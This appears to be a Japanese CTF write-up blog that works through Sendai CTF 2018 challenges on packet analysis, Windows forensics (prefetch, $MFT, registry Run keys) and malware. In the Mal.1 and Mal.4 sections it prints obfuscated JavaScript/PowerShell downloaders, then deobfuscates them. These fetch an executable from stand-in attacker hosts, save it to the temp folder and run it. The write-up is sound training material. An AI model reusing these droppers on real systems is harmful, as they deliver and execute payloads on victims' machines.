Net.4 情報流出内容の特定

300 Tomcatの脆弱性を足場にしてマルウェアが設置され、外部に情報が流出しているようです。

流出した情報を特定し、その中に含まれるフラグを見つけてください。

なお、問題ファイルは、Network 2 に添付されているものを使います。

[フラグ] 次の形式の文字列 FLAG_xxxxxxxxxx 例:FLAG_ThisIsFlag

[問題ファイルのパスワード] 3A5FB7C5E66F1189127588E1AD3278B7
だそうです。文字検索でFLAG_としても出てこない。そのまま送信しているというわけではなさそう。分けているかエンコードされているか。
まず、先の問題で52.78.222.102がマルウェアを設置したと考えられる。No.3134、Time12:57:01.425171のあとのパケットだと判断できる。パケットを見ていると3567 12:57:56.860854 192.168.100.106 101.51.222.228 HTTP 2136 HTTP/1.1 200 OK (image/x-icon)として画像が渡されていること、ほかには何かしらの機密情報がtextで渡されているのも確認した。画像そこまでいい手掛かりなし。ちょっと全くわからん。後日。
(仙台CTF2018 Net.4 情報流出内容の特定 300)WriteUpを見た。
流れとしては、52.78.222.102が3111パケットでGETリクエストのような任意のコードを実行している。そのあとにその実行に関する情報がTCPで送られているといった感じのようだ。 3116,3124,3129でデータが分割して送られているようだ。3116のデータの最初がPKとなっている。これがzip形式のマジックナンバーと知らなかったので解くのは難しかっただろう。

知識(マジックナンバー)
マジックナンバー (マジックナンバーまとめ)、(ファイルのマジックバイト判定)を参考にした。PKはzip形式

分割して送られているデータを一つにする。

from scapy.all import *

p = rdpcap('./Network02.pcap')
load = []
for i in [3116,3124,3129]:
    i=i-1
    load.append(p[i]['Raw'].load)
load = b''.join(load)

with open("load.zip", 'wb') as f:
      f.write(load)

を実行すると抽出できる。PKがzipなので、unzipした。そうすると、[Content_Types].xml, _relsフォルダ, xlフォルダが出てきた。これが全くわからん。ググってみる(Excelファイル操作をプログラミングする前に、まずはxlsxをzipに変えて内部構造を見てみよう)を参考にすると、つまり、この中身はxlsx形式のEcelらしい。pptxも解凍できたようにxlsxも解凍できるようだ。つまり、load.zipで抽出したものはload.xlsxであったということが分かった。拡張子を変更してみてみるとflagあり。終了。

For.1 ダウンロード元URLの特定

100 [シナリオ] ある日、営業所の社員(user01)が利用しているパソコンで、ウイルス対策ソフトのスケジュールスキャン(毎週1回、自動的にHDD全体をウイルススキャンするもの)により、Firefoxの一時フォルダに保管されていたファイルを、マルウェアとして検知しました。 あなたは、検知したファイル(検体)は、どこかのウェブサイトからダウンロードされた可能性が高いと考え、調査することとしました。

検体を解析し、ダウンロード元URLを特定してください。

[検知したファイル] フォルダ名:C:\Users\user01\AppData\Local\Mozilla\Firefox\Profiles\o5j56hgo.default\cache2\entries ファイル名:E0274DBC37EC05DA0813E93E7A1C3260C93BE6DE

[フラグ] 検体「E0274DBC37EC05DA0813E93E7A1C3260C93BE6DE」のダウンロード元のURL(半角、小文字) 例:http://www.sendai-ctf.org/abc.exe

[問題ファイルのパスワード] 2037B95D868C68200E054A012B8AB18B

[補足] 問題ファイルはセキュリティ対策ソフトとして判定される可能性がありますが、模擬マルウェアであり、実害のある動作はいたしません。
ということで何かしらのファイルを渡された。初手行う。

└─# file E0274DBC37EC05DA0813E93E7A1C3260C93BE6DE
E0274DBC37EC05DA0813E93E7A1C3260C93BE6DE: PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections

実行ファイルのようだ。stringsコマンドを実行。それらしいURLがあったので入力。正解だった。もっとちゃんと解くべきですね。

For.2 実行履歴の調査

100 検知したファイルのダウンロード元URLは、有名なフリーソフト「PC-Cleaner」(注記:架空のフリーソフト)の公式サイトのようです。 「PC-Cleaner」の公式サイトを確認したところ、不正アクセス被害に遭い、マルウェアが混入されたプログラム「PC-Cleaner.exe」が配布されたというお詫び文書が掲載されていました。

社員(以下user01という)に確認したところ、ダウンロードした「PC-Cleaner.exe」を実行したか記憶が定かではないが、もしも実行していたとしても、すぐに削除したはずだと証言しています。

あなたは、user01のパソコンはマルウェアに感染している可能性が高いと考え、パソコンをネットワークから隔離したうえで、いくつかのファイルをエビデンスとして証拠保全しました。

user01のパソコンから証拠保全したエビデンスを解析し、「PC-Cleaner.exe」が実行された日時を特定してください。

[フラグ] フリーソフト「PC-Cleaner.exe」の実行日時 (YYYY/MM/DD-hh:mm)(半角) 例:2018/11/10-23:59

[問題ファイル] forensic02.zip

[問題ファイルのパスワード] 49FE1EC08DE97ED1F97D7551EAAED466
ということで、prefetchが渡された。winprefetchwiewerで確認。findでCleaner.exeと調べたら出てきた。

For.3 マルウェア本体の特定

100 調査により、社員(以下、user01という)のパソコンは、マルウェアが混入したフリーソフトを実行していたことが確認されました。

フリーソフト「PC-Cleaner」(注記:架空のフリーソフト)に混入したマルウェアについて、セキュリティ研究者のブログなどで情報収集したところ、ダウンローダーという種類のマルウェアであり、他のマルウェア(以下、マルウェアBという)をダウンロードする機能を有しているようです。 マルウェアBは、実行されると、パソコンのあるフォルダに自身をコピーするとともに、パソコンのログオン時に自動的に実行されるようレジストリを改変するようです。

あなたは、user01のパソコンに潜伏しているマルウェアBの検体をウイルス対策ソフトの開発元に送付し、パターンファイルの作成を依頼する必要があると考えました。

user01のパソコンから証拠保全したエビデンスを解析し、ログオン時に自動実行されるマルウェアBのフルパスを特定してください。

[フラグ] ログオン時に自動実行されるマルウェアBのフルパス(半角) 例:C:\Windows\abc.exe

[問題ファイル] forensic03.zip

[問題ファイルのパスワード] CC4016A040C38B6F8CBCF308058B7AAD ということで、USER(NTUSER.DAT)ディレクトリ、Windows(prefetch)ディレクトリ,、$MFTを渡された。
ログオン時に実行されるというのが肝になりそう。

  • prefetchからPC-CLEANER.EXEの後に実行されたものが分かる。
知識($MFT)
$MFT (マスターファイルテーブルとは【用語集詳細】)を参考にした。「マスターファイルテーブル(Master File Table、MFT)は、Windowsが採用しているNTFS(NT File System)において、システム内に存在するすべてのファイルに関する場所、物理上の位置、メタデータ(作成日、更新日、アクセス日など)を保存したレコードファイルです。」だそうです。

さて、自動実行をもとにマルウェアBを探す。(ファストフォレンジックの実務とは?)をもとにRUNキーを探しに行った。

fakeだそうです。

(マルウェア永続化手法)のタスクマネージャー以外は見てみた。
色々見て回ったが、怪しいのはfakemalwareである。Registry ViewerからRUNキーを見つけて、ファイルパスを入力。正解。fakeじゃないんだ。

For.4 ファイル復元

300 感染していたマルウェアの挙動について情報収集したところ、以下のようなキーロガー機能を有していることが判明しました。

キーロガー機能の動作] (1)利用者が入力した、オンラインバンキング等のユーザーIDとパスワードを「C:\Users\【ユーザー名】\AppData\keylogger.txt」に記録する。 (2)「keylogger.txt」の内容を、C2サーバに送信する。 (3)「keylogger.txt」の内容を、0バイトの文字列で上書き保存することにより消去する。

感染したパソコンを確認したところ「keylogger.txt」が発見されたため、何らかのユーザーIDとパスワードが情報流出した可能性があると考えられます。あなたは、感染したパソコンディスクイメージを解析し、消去されたデータ(=情報流出したデータ)の復元を試みることにしました。

感染したパソコンの模擬ディスクイメージを解析し、情報流出した「パスワード」を特定してください。

[フラグ] 「keylogger.txt」に記録されていたパスワードと思われる文字列(半角) 例:1qaz2wsx3edc

[問題ファイル] forensic04.zip

[問題ファイルのパスワード] 3334CA6EB65D0D5758C2446AF2451FE3
ということで、ファイルが0byteで上書きされているが、復元しましょうということらしい。slackは確認したがなさそう。MFTから確認してみたが、はっきりとはわからない。

$logfileからどんなことが起こったのを把握。34byte分は書かれたが、そのあと0で消されている。今日はここまで、300点は難しい。
また、keylogger.txtへの書き込みが行われる前の実行も確認する。\user01\AppData\Roaming\Mozilla\Firefox\Profilesへのアクセスが確認できる。(プロファイル)を見てみるとパスなども保存されているとある。key4.dbがパスワードなどに関係あるようだ。(標的型攻撃で注目を集める Vega Stealer)でもあるように攻撃の際にkey4.dbやlogins.jsonを収取するようだ。

└─# hexdump -v -C key4.db |grep password -9
0003ff10  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff30  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff50  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff70  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0003ff90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 5f  |..............._|
0003ffa0  01 05 1d 34 81 08 70 61  73 73 77 6f 72 64 8e 00  |...4..password..|
0003ffb0  8b 2d 3e e2 87 29 24 ba  a4 f0 70 8c df ac 9b 55  |.->..)$...p....U|
0003ffc0  d5 b5 30 3c 30 28 06 0b  2a 86 48 86 f7 0d 01 0c  |..0<0(..*.H.....|
0003ffd0  05 01 03 30 19 04 14 70  f2 f1 a2 c7 b7 6b fb 62  |...0...p.....k.b|
0003ffe0  1b e5 ac d7 83 41 60 49  ed c4 44 02 01 01 04 10  |.....A`I..D.....|
0003fff0  98 93 b0 d3 07 d4 2c a0  3d ee 90 3a 3d f0 6f 24  |......,.=..:=.o$|
00040000  0a 00 00 00 01 7f f4 00  7f f4 00 00 00 00 00 00  |................|
00040010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00040020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00040030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
--
00047f60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047f70  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047fa0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047fb0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047fc0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047fd0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047fe0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00047ff0  00 00 00 00 0b 03 1d 09  70 61 73 73 77 6f 72 64  |........password|

ここら辺に隠れていそうだが、方針が間違っているような気もする。、、、 WriteUp見てみた。(問題解説 Forensic)深く考えすぎたようだ。$MFTには少ないbyteだと残るようだ。また、上書きも0byteで上書き→削除しただけということで残っているようだ。

反省 くぅ。FLAGっぽい文字列以外だとflagかわからない。そこもヒントにしてしまっているのはよくない。構造から攻めれるようになる。でも、firefoxに詳しくなれたのは悪くない。

Mal.1 検体1 JavaScript

100 [シナリオ] 最近、毎日のように、複数の社員から、不審メールが届いたとの通報があります。 毎回、受信者ごとにメールの差出人、件名、本文などはランダムに設定されています。添付ファイル名もランダムに設定されていますが、受信日が同じであれば、ファイルの内容(ハッシュ値)は同じであり、開封すると不審な通信が発生します。 さて、本日も不審メールが届いたとの通報がありました。あなたは、添付ファイルを解析し、不審通信先を確認することとしました。

(事例1) 難読化されたJavascriptを解析し、通信先を特定してください。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com/aaa.exe

[問題ファイルのパスワード] 1383BDA11883D924A444E2C391403156

[補足] 問題ファイルはセキュリティ対策ソフトとして判定される可能性がありますが、模擬マルウェアであり、実害のある動作はいたしません。
初手はいつものやつ。

└─# file downloader2018_Lv1.js
downloader2018_Lv1.js: ASCII text, with very long lines (975), with CRLF line terminators
└─# strings downloader2018_Lv1.js
var AbCdEfg = WScript.CreateObject("W4wt93qS4wt93qc4wt93qr4wt93qi4wt93qp4wt93qt4wt93q".replace(/4wt93q/g, "") + ".Sh" + "ell");
var paranum = 0;
codestr = "powershell.exe $cHPNC8 = 'XmqRLtY';$a = 'Msxml' + '2.XML' + 'HTTP';$D9Bkpiq = 'zwfnxFQn';$b = 'ADO' + 'DB.' + 'Stream';$ViXHtaa = 'afPaNR';$c = 'G' + 'E' + 'T';$y6Zs8i = 'y9Nhj';$d = 1 - 1 + 1;$arfRq = 'Zret8';$hr = New-Object -ComObject $a;$Xb9C3z = 'WipMlqo1';$ab = New-Object -ComObject $b;$OWNniyp3 = 'okFmlbcF';$path = $env:temp + '\797.exe';$MeDUZLzU = 'ViEEyiDt';$hr.open($c, 'h'+'Tt'+'p:'             +'/'                   + '/'+ 'eAsYS'+ 'scr' + 'IPt.send'+ 'aictf-attacker.EXa'+'mpLE/1'+'00.e'+'xe', 0);$BkmnIhm = 'lMglhJCD';$hr.send();$OlUroA = 'ovwJO';$Zb3f7RVj2 = 'AyWGheD';$EUKnRQ = 'eq9G6';$jMjfuyL = 't9tGnMuT';$ab.open();$PaLGhJEr = 'Cf9lVfd';$ab.type = $d;$qiEHJ = 'NjQsbW3';$ab.write($hr.responseBody);$Gwtjxiu1 = 'Zm4B6l';$ab.savetofile($path);$LwzToi = 'XIEOnwD';$ab.close();$LSbathIv = 'yzxeScO';$JHAFYpTN = 'W1tBds';$LawOS = 'YTYyJd';$GVNSY2VL3 = 'QEXcEk';$aj8q2Pl = 'BFrEKTl';$B3Xz2p = 'YWgPSR2Y';$yGEJla7O = 'lWqvE';Start-Process $path;";
AbCdEfg.Run(codestr, paranum);

難読化されている感じ。

var AbCdEfg = WScript.CreateObject("WScript.Shell");
var paranum = 0;
codestr = 
"powershell.exe 
$cHPNC8 = 'XmqRLtY';
$a = 'Msxml' + '2.XML' + 'HTTP';
$D9Bkpiq = 'zwfnxFQn';
$b = 'ADO' + 'DB.' + 'Stream';
$ViXHtaa = 'afPaNR';
$c = 'G' + 'E' + 'T';
$y6Zs8i = 'y9Nhj';
$d = 1 - 1 + 1;
$arfRq = 'Zret8';
$hr = New-Object -ComObject $a;
$Xb9C3z = 'WipMlqo1';
$ab = New-Object -ComObject $b;
$OWNniyp3 = 'okFmlbcF';
$path = $env:temp + '\797.exe';
$MeDUZLzU = 'ViEEyiDt';
$hr.open($c, 'h'+'Tt'+'p:'             +'/'                   + '/'+ 'eAsYS'+ 'scr' + 'IPt.send'+ 'aictf-attacker.EXa'+'mpLE/1'+'00.e'+'xe', 0);$BkmnIhm = 'lMglhJCD';
$hr.send();
$OlUroA = 'ovwJO';
$Zb3f7RVj2 = 'AyWGheD';
$EUKnRQ = 'eq9G6';
$jMjfuyL = 't9tGnMuT';
$ab.open();
$PaLGhJEr = 'Cf9lVfd';
$ab.type = $d;
$qiEHJ = 'NjQsbW3';
$ab.write($hr.responseBody);
$Gwtjxiu1 = 'Zm4B6l';
$ab.savetofile($path);
$LwzToi = 'XIEOnwD';
$ab.close();
$LSbathIv = 'yzxeScO';
$JHAFYpTN = 'W1tBds';
$LawOS = 'YTYyJd';
$GVNSY2VL3 = 'QEXcEk';
$aj8q2Pl = 'BFrEKTl';
$B3Xz2p = 'YWgPSR2Y';
$yGEJla7O = 'lWqvE';
Start-Process $path;";
AbCdEfg.Run(codestr, paranum);

整形するとこんな感じ。最後のAbCdEfg.Run(codestr, paranum);ここが実行そうだ。codestrにURLがありそう。上から順に書いていくと$hr.open($c, 'h'+'Tt'+'p:' +'/' + '/'+ 'eAsYS'+ 'scr' + 'IPt.send'+ 'aictf-attacker.EXa'+'mpLE/1'+'00.e'+'xe', 0);$BkmnIhm = 'lMglhJCD';ここの部分がURLを含んでいた。解読すればflagゲット。

Mal.2 検体2 エクセル文書

100 (事例2) エクセルマクロ形式ダウンローダーを解析し、通信先を特定してください。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com/aaa.exe

[問題ファイルのパスワード] A8003A0E4242C0800B52B6264E15F9F6

[補足] 問題ファイルはセキュリティ対策ソフトとして判定される可能性がありますが、模擬マルウェアであり、実害のある動作はいたしません。
xlsファイルが渡された。初手行きます。

└─# file �+����4��_72436.xls
�+����4��_72436.xls: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 932, Last Saved By: Student, Name of Creating Application: Microsoft Excel, Last Printed: Fri Sep 30 14:56:13 2016, Create Time/Date: Wed Sep 28 11:10:05 2016, Last Saved Time/Date: Sat Oct  6 08:06:27 2018, Security: 0

stringsしたらURLあった。終了。

Mal.3 検体3 ワード文書

100 (事例3) 細工されたワード文書を解析し、通信先を特定してください。 ヒント:このワード文書は、CVE-2017-0199の脆弱性攻撃を悪用するために作成されたもののようです。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com/aaa.exe

[問題ファイルのパスワード] 7D3DA7A8B123960AD7DB7E0B82B478EE

[補足] 問題ファイルはセキュリティ対策ソフトとして判定される可能性がありますが、模擬マルウェアであり、実害のある動作はいたしません。
ということで、CVE-2017-0199について調べる。(Microsoft Office/WordPadの脆弱性CVE-2017-0199を検証してみた。)、(Microsoft Office およびワードパッドの脆弱性により)を参考にした。どこかへアクセスさせるプログラムが動き任意の行動をとらされるようだ。
fileコマンド、stringsコマンドを打ってみる。fileコマンドは特になさそう。stringsは怪しいのかどうかわからない。
(自己流docマクロ解析の手順)を見てみるとデコードされている可能性があるようだ。可能性のある文字列をcyberchefに投げていったら。{*\objclass htmlfile}{*\objdataの文字列にURLらしきものがあった。入力。正解。

知識(wod(objdata))
word(objdata) (CVE-2018-8174)のようにここを用いて攻撃する方法があるようだ。

Mal.4 検体4 JavaScript2

300 (事例4) 難読化されたJavascriptを解析し、通信先を特定してください。 なお、このマルウェアは、パソコンの動作環境をチェックし、ある条件を満たした場合にのみ動作するようです。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com/aaa.exe

[問題ファイルのパスワード] 9B5B4D0DE109C8CF60DDA8B3C48163C9

[補足] 問題ファイルはセキュリティ対策ソフトとして判定される可能性がありますが、模擬マルウェアであり、実害のある動作はいたしません。

ということで、解析していく。ghidraを用いてやる感じそう。

└─# file downloader2018_LvX.js
downloader2018_LvX.js: ASCII text, with very long lines (6796), with CRLF line terminators
└─# strings downloader2018_LvX.js
G17vle = "aitunogetanootogasitanndaaikkdikdigokgasitandaoikositaradarekanokagebokaitunogekotogasishitankdausironiiruaituhadaregdarokugfurimudekinayomiienaitikamietaoomobebakesaniymimfuekfdikaodkdaaitunogetanootogasitandaaitunodekdkeikdjgkaiekjkshitanntakdishitaradarekanokagebousiaitunogekdaiekdgidakeigakdishitanndakaronnkoronnkaronkoronkarikgaoaridkgaodiadkgeikdakd";Gl7vle = String.fromCharCode(112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,105,102,40,91,78,101,116,46,68,110,115,93,58,58,71,101,116,72,111,115,116,78,97,109,101,40,41,32,45,110,101,32,39,115,101,110,100,97,105,99,116,102,45,112,99,48,49,39,41,123,69,120,105,116,125,59,32,36,99,72,80,78,67,56,32,61,32,39,88,109,113,82,76,116,89,39,59,36,97,32,61,32,39,77,115,120,109,108,39,32,43,32,39,50,46,88,77,76,39,32,43,32,39,72,84,84,80,39,59,36,68,57,66,107,112,105,113,32,61,32,39,122,119,102,110,120,70,81,110,39,59,36,98,32,61,32,39,65,68,79,39,32,43,32,39,68,66,46,39,32,43,32,39,83,116,114,101,97,109,39,59,36,86,105,88,72,116,97,97,32,61,32,39,97,102,80,97,78,82,39,59,36,99,32,61,32,39,71,39,32,43,32,39,69,39,32,43,32,39,84,39,59,36,121,54,90,115,56,105,32,61,32,39,121,57,78,104,106,39,59,36,100,32,61,32,49,32,45,32,49,32,43,32,49,59,36,97,114,102,82,113,32,61,32,39,90,114,101,116,56,39,59,36,104,114,32,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,79,98,106,101,99,116,32,36,97,59,36,88,98,57,67,51,122,32,61,32,39,87,105,112,77,108,113,111,49,39,59,36,97,98,32,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,79,98,106,101,99,116,32,36,98,59,36,79,87,78,110,105,121,112,51,32,61,32,39,111,107,70,109,108,98,99,70,39,59,36,112,97,116,104,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,7,57,55,46,101,120,101,39,59,36,77,101,68,85,90,76,122,85,32,61,32,39,86,105,69,69,121,105,68,116,39,59,36,104,114,46,111,112,101,110,40,36,99,44,32,39,104,116,116,112,58,47,47,116,104,105,115,46,105,115,95,110,111,116,46,97,46,102,108,97,103,47,84,114,121,65,103,97,105,110,39,44,32,48,41,59,36,66,107,109,110,73,104,109,32,61,32,39,108,77,103,108,104,74,67,68,39,59,36,104,114,46,115,101,110,100,40,41,59,36,79,108,85,114,111,65,32,61,32,39,111,118,119,74,79,39,59,36,90,98,51,102,55,82,86,106,50,32,61,32,39,65,121,87,71,104,101,68,39,59,36,69,85,75,110,82,81,32,61,32,39,101,113,57,71,54,39,59,36,106,77,106,102,117,121,76,32,61,32,39,116,57,116,71,110,77,117,84,39,59,36,97,98,46,111,112,101,110,40,41,59,36,80,97,76,71,104,74,69,114,32,61,32,39,67,102,57,108,86,102,100,39,59,36,97,98,46,116,121,112,101,32,61,32,36,100,59,36,113,105,69,72,74,32,61,32,39,78,106,81,115,98,87,51,39,59,36,97,98,46,119,114,105,116,101,40,36,104,114,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,36,71,119,116,106,120,105,117,49,32,61,32,39,90,109,52,66,54,108,39,59,36,97,98,46,115,97,118,101,116,111,102,105,108,101,40,36,112,97,116,104,41,59,36,76,119,122,84,111,105,32,61,32,39,88,73,69,79,110,119,68,39,59,36,97,98,46,99,108,111,115,101,40,41,59,36,76,83,98,97,116,104,73,118,32,61,32,39,121,122,120,101,83,99,79,39,59,36,74,72,65,70,89,112,84,78,32,61,32,39,87,49,116,66,100,115,39,59,36,76,97,119,79,83,32,61,32,39,89,84,89,121,74,100,39,59,36,71,86,78,83,89,50,86,76,51,32,61,32,39,81,69,88,99,69,107,39,59,36,97,106,56,113,50,80,108,32,61,32,39,66,70,114,69,75,84,108,39,59,36,66,51,88,122,50,112,32,61,32,39,89,87,103,80,83,82,50,89,39,59,36,121,71,69,74,108,97,55,79,32,61,32,39,108,87,113,118,69,39,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,112,97,116,104,59);Gl7vle = String.fromCharCode(112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,105,102,40,91,78,101,116,46,68,110,115,93,58,58,71,101,116,72,111,115,116,78,97,109,101,40,41,32,45,110,101,32,39,115,101,110,100,97,105,99,116,102,45,112,99,48,49,39,41,123,69,120,105,116,125,59,32,36,99,72,80,78,67,56,32,61,32,39,88,109,113,82,76,116,89,39,59,36,97,32,61,32,39,77,115,120,109,108,39,32,43,32,39,50,46,88,77,76,39,32,43,32,39,72,84,84,80,39,59,36,68,57,66,107,112,105,113,32,61,32,39,122,119,102,110,120,70,81,110,39,59,36,98,32,61,32,39,65,68,79,39,32,43,32,39,68,66,46,39,32,43,32,39,83,116,114,101,97,109,39,59,36,86,105,88,72,116,97,97,32,61,32,39,97,102,80,97,78,82,39,59,36,99,32,61,32,39,71,39,32,43,32,39,69,39,32,43,32,39,84,39,59,36,121,54,90,115,56,105,32,61,32,39,121,57,78,104,106,39,59,36,100,32,61,32,49,32,45,32,49,32,43,32,49,59,36,97,114,102,82,113,32,61,32,39,90,114,101,116,56,39,59,36,104,114,32,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,79,98,106,101,99,116,32,36,97,59,36,88,98,57,67,51,122,32,61,32,39,87,105,112,77,108,113,111,49,39,59,36,97,98,32,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,79,98,106,101,99,116,32,36,98,59,36,79,87,78,110,105,121,112,51,32,61,32,39,111,107,70,109,108,98,99,70,39,59,36,112,97,116,104,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,7,57,55,46,101,120,101,39,59,36,77,101,68,85,90,76,122,85,32,61,32,39,86,105,69,69,121,105,68,116,39,59,36,104,114,46,111,112,101,110,40,36,99,44,32,39,104,116,116,112,58,47,47,102,106,46,115,101,110,100,97,105,99,116,102,45,97,116,116,97,99,107,101,114,46,99,111,109,47,50,48,48,46,98,105,110,39,44,32,48,41,59,36,66,107,109,110,73,104,109,32,61,32,39,108,77,103,108,104,74,67,68,39,59,36,104,114,46,115,101,110,100,40,41,59,36,79,108,85,114,111,65,32,61,32,39,111,118,119,74,79,39,59,36,90,98,51,102,55,82,86,106,50,32,61,32,39,65,121,87,71,104,101,68,39,59,36,69,85,75,110,82,81,32,61,32,39,101,113,57,71,54,39,59,36,106,77,106,102,117,121,76,32,61,32,39,116,57,116,71,110,77,117,84,39,59,36,97,98,46,111,112,101,110,40,41,59,36,80,97,76,71,104,74,69,114,32,61,32,39,67,102,57,108,86,102,100,39,59,36,97,98,46,116,121,112,101,32,61,32,36,100,59,36,113,105,69,72,74,32,61,32,39,78,106,81,115,98,87,51,39,59,36,97,98,46,119,114,105,116,101,40,36,104,114,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,36,71,119,116,106,120,105,117,49,32,61,32,39,90,109,52,66,54,108,39,59,36,97,98,46,115,97,118,101,116,111,102,105,108,101,40,36,112,97,116,104,41,59,36,76,119,122,84,111,105,32,61,32,39,88,73,69,79,110,119,68,39,59,36,97,98,46,99,108,111,115,101,40,41,59,36,76,83,98,97,116,104,73,118,32,61,32,39,121,122,120,101,83,99,79,39,59,36,74,72,65,70,89,112,84,78,32,61,32,39,87,49,116,66,100,115,39,59,36,76,97,119,79,83,32,61,32,39,89,84,89,121,74,100,39,59,36,71,86,78,83,89,50,86,76,51,32,61,32,39,81,69,88,99,69,107,39,59,36,97,106,56,113,50,80,108,32,61,32,39,66,70,114,69,75,84,108,39,59,36,66,51,88,122,50,112,32,61,32,39,89,87,103,80,83,82,50,89,39,59,36,121,71,69,74,108,97,55,79,32,61,32,39,108,87,113,118,69,39,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,112,97,116,104,59);var JdECvqCzY = WScript.CreateObject("W4wt93qS4wt93qc4wt93qr4wt93qi4wt93qp4wt93qt4wt93q".replace(/4wt93q/g, "") + ".Sh" + "ell");var RZK2EK = 0;JdECvqCzY.Run(Gl7vle, RZK2EK);

ということで、バリバリ難読化されている感じ。何回もGl7vleに代入しているので、

Gl7vleの中の文字列をcyberchefに投げたらまた何かしが出てきた。それを成形すると、

powershell.exe if([Net.Dns]::GetHostName() -ne 'sendaictf-pc01'){Exit}; 
$cHPNC8 = 'XmqRLtY';
$a = 'Msxml' + '2.XML' + 'HTTP';
$D9Bkpiq = 'zwfnxFQn';
$b = 'ADO' + 'DB.' + 'Stream';
$ViXHtaa = 'afPaNR';
$c = 'G' + 'E' + 'T';
$y6Zs8i = 'y9Nhj';
$d = 1 - 1 + 1;
$arfRq = 'Zret8';
$hr = New-Object -ComObject $a;
$Xb9C3z = 'WipMlqo1';
$ab = New-Object -ComObject $b;
$OWNniyp3 = 'okFmlbcF';
$path = $env:temp + ' 97.exe';
$MeDUZLzU = 'ViEEyiDt';
$hr.open($c, 'http://fj.sendaictf-attacker.com/200.bin', 0);
$BkmnIhm = 'lMglhJCD';
$hr.send();
$OlUroA = 'ovwJO';
$Zb3f7RVj2 = 'AyWGheD';
$EUKnRQ = 'eq9G6';
$jMjfuyL = 't9tGnMuT';
$ab.open();
$PaLGhJEr = 'Cf9lVfd';
$ab.type = $d;
$qiEHJ = 'NjQsbW3';
$ab.write($hr.responseBody);
$Gwtjxiu1 = 'Zm4B6l';
$ab.savetofile($path);
$LwzToi = 'XIEOnwD';
$ab.close();
$LSbathIv = 'yzxeScO';
$JHAFYpTN = 'W1tBds';
$LawOS = 'YTYyJd';
$GVNSY2VL3 = 'QEXcEk';
$aj8q2Pl = 'BFrEKTl';
$B3Xz2p = 'YWgPSR2Y';
$yGEJla7O = 'lWqvE';
Start-Process $path;

となった。なんかURLが出てきたので、それを入力すると正解だった。

Lab.1 不審ファイルの起動日時

100 [シナリオ] ある日、営業所の社員用パソコンのウイルス対策ソフトから、ウイルス検知アラートが通知されました。

社員に電話連絡し状況を確認したところ、しばらく利用していなかった社員用パソコンを久しぶりに起動し、最新パターンファイルに更新のうえ手動でオンデマンドスキャンを実行したところ、「デスクトップに作成されていた身に覚えのないファイル」を、マルウェアとして検知したようです。

あなたは、検知したファイル(検体)は、過去のいつかの時点で感染していたマルウェアである可能性が高いと考え、社員用パソコンから調査に必要となるエビデンスを証拠保全し、感染原因を調査することとしました。

検体が作成および起動された日時を特定してください。

[検知したファイル] フォルダ名:C:\Users\user01\Desktop\ ファイル名:1.exe 脅威名  :BKDR_POISON.DS 検査の種類:オンデマンドスキャン 処理結果 :無視

[フラグ] 検体「1.exe」が作成および起動された日時 (YYYY/MM/DD-hh:mm)(半角) 例:2018/11/10-23:59

[問題ファイル] lab01.zip

[問題ファイルのパスワード] C2D60778DE629699115E109DB14DB33F
といことで、unzipしたら、$MFTとprefetchを渡された。$MFTでファイルパスからSI_Created Onを確認。違うようだ。prefetchのLast Run Timeを入力したら正解。

Lab.2 脆弱性攻撃コードの特定

100 感染パソコンをタイムライン解析したところ、ウェブサイト閲覧中に脆弱性攻撃を受けた痕跡を発見しました。

$MFT(Lab.1の添付ファイル)のタイムライン解析、ならびにInternet Explorerの一時ファイル(この問題の添付ファイル)の解析により、感染に利用された脆弱性攻撃コードのファイル名を推測してください。 なお、脆弱性攻撃コードのファイルは、内容をテキストに書き換えてあるため、危険はありません。

[フラグ] 感染に利用された脆弱性攻撃コードのファイル名(半角) 例:abc.swf

[問題ファイル] lab02.zip

[問題ファイルのパスワード] 214EAE71B3D80F37AD6674FC3B37D193

